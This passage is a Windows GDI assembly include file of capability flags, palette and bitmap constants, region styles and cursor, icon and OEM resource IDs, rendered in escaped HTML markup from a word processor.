&lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PC_TRAPEZOID&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;4&lt;span style=""&gt;  &lt;/span&gt;; /* Can do trapezoids&lt;span style=""&gt;                &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PC_SCANLINE&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;8&lt;span style=""&gt;  &lt;/span&gt;; /* Can do scanlines&lt;span style=""&gt;                 &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PC_WIDE&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;16 ; /* Can do wide borders&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;            &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PC_STYLED&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;32 ; /* Can do styled borders&lt;span style=""&gt;            &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PC_WIDESTYLED&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;64 ; /* Can do wide styled borders&lt;span style=""&gt;       &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PC_INTERIORS&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;128; /* Can do interiors&lt;span style=""&gt;                 &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Polygonal Capabilities */&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CP_NONE&lt;span style=""&gt;         &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0&lt;span style=""&gt;  &lt;/span&gt;; /* No clipping of output&lt;span style=""&gt;            &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CP_RECTANGLE&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;1&lt;span style=""&gt;  &lt;/span&gt;; /* Output clipped to rects&lt;span style=""&gt;          &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Text Capabilities&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TC_OP_CHARACTER&lt;span style=""&gt;  &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0001h ; /* Can do OutputPrecision&lt;span style=""&gt;   &lt;/span&gt;CHARACTER&lt;span style=""&gt;      &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TC_OP_STROKE&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0002h ; /* Can do OutputPrecision&lt;span style=""&gt;   &lt;/span&gt;STROKE&lt;span style=""&gt;         &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TC_CP_STROKE&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0004h ; /* Can do ClipPrecision&lt;span style=""&gt;     &lt;/span&gt;STROKE&lt;span style=""&gt;         &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TC_CR_90&lt;span style=""&gt;         &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0008h ; /* Can do CharRotAbility&lt;span style=""&gt;    &lt;/span&gt;90&lt;span style=""&gt;             &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TC_CR_ANY&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0010h ; /* Can do CharRotAbility&lt;span style=""&gt;    &lt;/span&gt;ANY&lt;span style=""&gt;            &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TC_SF_X_YINDEP&lt;span style=""&gt;   &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0020h ; /* Can do ScaleFreedom&lt;span style=""&gt;      &lt;/span&gt;X_YINDEPENDENT */&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TC_SA_DOUBLE&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0040h ; /* Can do ScaleAbility&lt;span style=""&gt;      &lt;/span&gt;DOUBLE&lt;span style=""&gt;         &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TC_SA_INTEGER&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0080h ; /* Can do ScaleAbility&lt;span style=""&gt;      &lt;/span&gt;INTEGER&lt;span style=""&gt;        &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TC_SA_CONTIN&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0100h ; /* Can do ScaleAbility&lt;span style=""&gt;      &lt;/span&gt;CONTINUOUS&lt;span style=""&gt;     &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TC_EA_DOUBLE&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0200h ; /* Can do EmboldenAbility&lt;span style=""&gt;   &lt;/span&gt;DOUBLE&lt;span style=""&gt;         &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TC_IA_ABLE&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0400h ; /* Can do ItalisizeAbility&lt;span style=""&gt;  &lt;/span&gt;ABLE&lt;span style=""&gt;           &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TC_UA_ABLE&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0800h ; /* Can do UnderlineAbility&lt;span style=""&gt;  &lt;/span&gt;ABLE&lt;span style=""&gt;           &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TC_SO_ABLE&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;1000h ; /* Can do StrikeOutAbility&lt;span style=""&gt;  &lt;/span&gt;ABLE&lt;span style=""&gt;           &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TC_RA_ABLE&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;2000h ; /* Can do RasterFontAble&lt;span style=""&gt;    &lt;/span&gt;ABLE&lt;span style=""&gt;           &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TC_VA_ABLE&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;4000h ; /* Can do VectorFontAble&lt;span style=""&gt;    &lt;/span&gt;ABLE&lt;span style=""&gt;           &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;TC_RESERVED&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;8000h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Raster Capabilities&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RC_BITBLT&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;1&lt;span style=""&gt;      &lt;/span&gt;; /* Can do standard BLT.&lt;span style=""&gt;             &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RC_BANDING&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;2&lt;span style=""&gt;      &lt;/span&gt;; /* Device requires banding support&lt;span style=""&gt;  &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RC_SCALING&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;4&lt;span style=""&gt;      &lt;/span&gt;; /* Device requires scaling support&lt;span style=""&gt;  &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RC_BITMAP64&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;8&lt;span style=""&gt;      &lt;/span&gt;; /* Device can support &gt;64K bitmap&lt;span style=""&gt;   &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RC_GDI20_OUTPUT&lt;span style=""&gt;  &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0010h&lt;span style=""&gt;  &lt;/span&gt;; /* has 2.0 output calls&lt;span style=""&gt;         &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RC_DI_BITMAP&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0080h&lt;span style=""&gt;  &lt;/span&gt;; /* supports DIB to memory&lt;span style=""&gt;       &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RC_PALETTE&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0100h&lt;span style=""&gt;  &lt;/span&gt;; /* supports a palette&lt;span style=""&gt;           &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RC_DIBTODEV&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0200h&lt;span style=""&gt;  &lt;/span&gt;; /* supports DIBitsToDevice&lt;span style=""&gt;      &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RC_BIGFONT&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0400h&lt;span style=""&gt;  &lt;/span&gt;; /* supports &gt;64K fonts&lt;span style=""&gt;          &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RC_STRETCHBLT&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;0800h&lt;span style=""&gt;  &lt;/span&gt;; /* supports StretchBlt&lt;span style=""&gt;          &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RC_FLOODFILL&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;1000h&lt;span style=""&gt;  &lt;/span&gt;; /* supports FloodFill&lt;span style=""&gt;        &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RC_STRETCHDIB&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;   &lt;/span&gt;2000h&lt;span style=""&gt;  &lt;/span&gt;; /* supports StretchDIBits&lt;span style=""&gt;       &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;endif&lt;span style=""&gt;       &lt;/span&gt;;NOGDICAPMASKS&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; palette entry flags&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PC_RESERVED&lt;span style=""&gt;     &lt;/span&gt;= 1&lt;span style=""&gt;    &lt;/span&gt;;/* palette index used for animation */&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PC_EXPLICIT&lt;span style=""&gt;     &lt;/span&gt;= 2&lt;span style=""&gt;    &lt;/span&gt;;/* palette index is explicit to device */&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;PC_NOCOLLAPSE&lt;span style=""&gt;   &lt;/span&gt;= 4&lt;span style=""&gt;    &lt;/span&gt;;/* do not match color to system palette */&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; DIB color table identifiers&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DIB_RGB_COLORS&lt;span style=""&gt;  &lt;/span&gt;= 0&lt;span style=""&gt;    &lt;/span&gt;;/* color table in RGBTriples */&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;DIB_PAL_COLORS&lt;span style=""&gt;  &lt;/span&gt;= 1&lt;span style=""&gt;    &lt;/span&gt;;/* color table in palette indices */&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;constants for Get/SetSystemPaletteUse()&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SYSPAL_STATIC&lt;span style=""&gt;   &lt;/span&gt;= 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SYSPAL_NOSTATIC = 2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; constants for CreateDIBitmap&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;CBM_INIT&lt;span style=""&gt;        &lt;/span&gt;= 4&lt;span style=""&gt;    &lt;/span&gt;;/* initialize bitmap */&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; Bitmap format constants&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;BI_RGB&lt;span style=""&gt;          &lt;/span&gt;= 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;BI_RLE8&lt;span style=""&gt;         &lt;/span&gt;= 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;BI_RLE4&lt;span style=""&gt;         &lt;/span&gt;= 2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;ANSI_CHARSET&lt;span style=""&gt;    &lt;/span&gt;= 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SYMBOL_CHARSET&lt;span style=""&gt;  &lt;/span&gt;= 2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OEM_CHARSET&lt;span style=""&gt;     &lt;/span&gt;= 255&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;  &lt;/span&gt;styles for CombineRgn&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RGN_AND&lt;span style=""&gt;  &lt;/span&gt;= 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RGN_OR&lt;span style=""&gt;   &lt;/span&gt;= 2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RGN_XOR&lt;span style=""&gt;  &lt;/span&gt;= 3&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RGN_DIFF = 4&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;RGN_COPY = 5&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;span style=""&gt;  &lt;/span&gt;Predefined cursor &amp;amp; icon IDs&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDC_ARROW&lt;span style=""&gt;       &lt;/span&gt;= 32512&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDC_IBEAM&lt;span style=""&gt;       &lt;/span&gt;= 32513&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDC_WAIT&lt;span style=""&gt;        &lt;/span&gt;= 32514&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDC_CROSS&lt;span style=""&gt;       &lt;/span&gt;= 32515&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDC_UPARROW&lt;span style=""&gt;     &lt;/span&gt;= 32516&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDC_SIZE&lt;span style=""&gt;        &lt;/span&gt;= 32640&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDC_ICON&lt;span style=""&gt;        &lt;/span&gt;= 32641&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDC_SIZENWSE&lt;span style=""&gt;    &lt;/span&gt;= 32642&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDC_SIZENESW&lt;span style=""&gt;    &lt;/span&gt;= 32643&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDC_SIZEWE&lt;span style=""&gt;      &lt;/span&gt;= 32644&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDC_SIZENS&lt;span style=""&gt;      &lt;/span&gt;= 32645&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDI_APPLICATION = 32512&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDI_HAND&lt;span style=""&gt;        &lt;/span&gt;= 32513&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDI_QUESTION&lt;span style=""&gt;    &lt;/span&gt;= 32514&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDI_EXCLAMATION = 32515&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;IDI_ASTERISK&lt;span style=""&gt;    &lt;/span&gt;= 32516&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;; OEM Resource Ordinal Numbers */&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_CLOSE&lt;span style=""&gt;         &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32754&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_UPARROW&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32753&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_DNARROW&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32752&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_RGARROW&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32751&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_LFARROW&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32750&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_REDUCE&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32749&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_ZOOM&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32748&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_RESTORE&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32747&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_REDUCED&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32746&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_ZOOMD&lt;span style=""&gt;         &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32745&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_RESTORED&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32744&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_UPARROWD&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32743&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_DNARROWD&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32742&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_RGARROWD&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32741&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_LFARROWD&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32740&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_MNARROW&lt;span style=""&gt;       &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32739&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_COMBO&lt;span style=""&gt;         &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32738&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_UPARROWI&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32737&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_DNARROWI&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32736&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_RGARROWI&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32735&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_LFARROWI&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32734&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_OLD_CLOSE&lt;span style=""&gt;     &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32767&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_SIZE&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32766&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_OLD_UPARROW&lt;span style=""&gt;   &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32765&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_OLD_DNARROW&lt;span style=""&gt;   &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32764&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_OLD_RGARROW&lt;span style=""&gt;   &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32763&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_OLD_LFARROW&lt;span style=""&gt;   &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32762&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_BTSIZE&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32761&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_CHECK&lt;span style=""&gt;         &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32760&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_CHECKBOXES&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32759&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_BTNCORNERS&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32758&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_OLD_REDUCE&lt;span style=""&gt;    &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32757&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_OLD_ZOOM&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32756&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OBM_OLD_RESTORE&lt;span style=""&gt;   &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32755&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OCR_NORMAL&lt;span style=""&gt;        &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32512&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OCR_IBEAM&lt;span style=""&gt;         &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32513&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OCR_WAIT&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32514&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OCR_CROSS&lt;span style=""&gt;         &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32515&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OCR_UP&lt;span style=""&gt;            &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32516&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OCR_SIZE&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32640&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OCR_ICON&lt;span style=""&gt;          &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32641&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OCR_SIZENWSE&lt;span style=""&gt;      &lt;/span&gt;=&lt;span style=""&gt;  &lt;/span&gt;32642&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;OCR_SIZENESW&lt;span 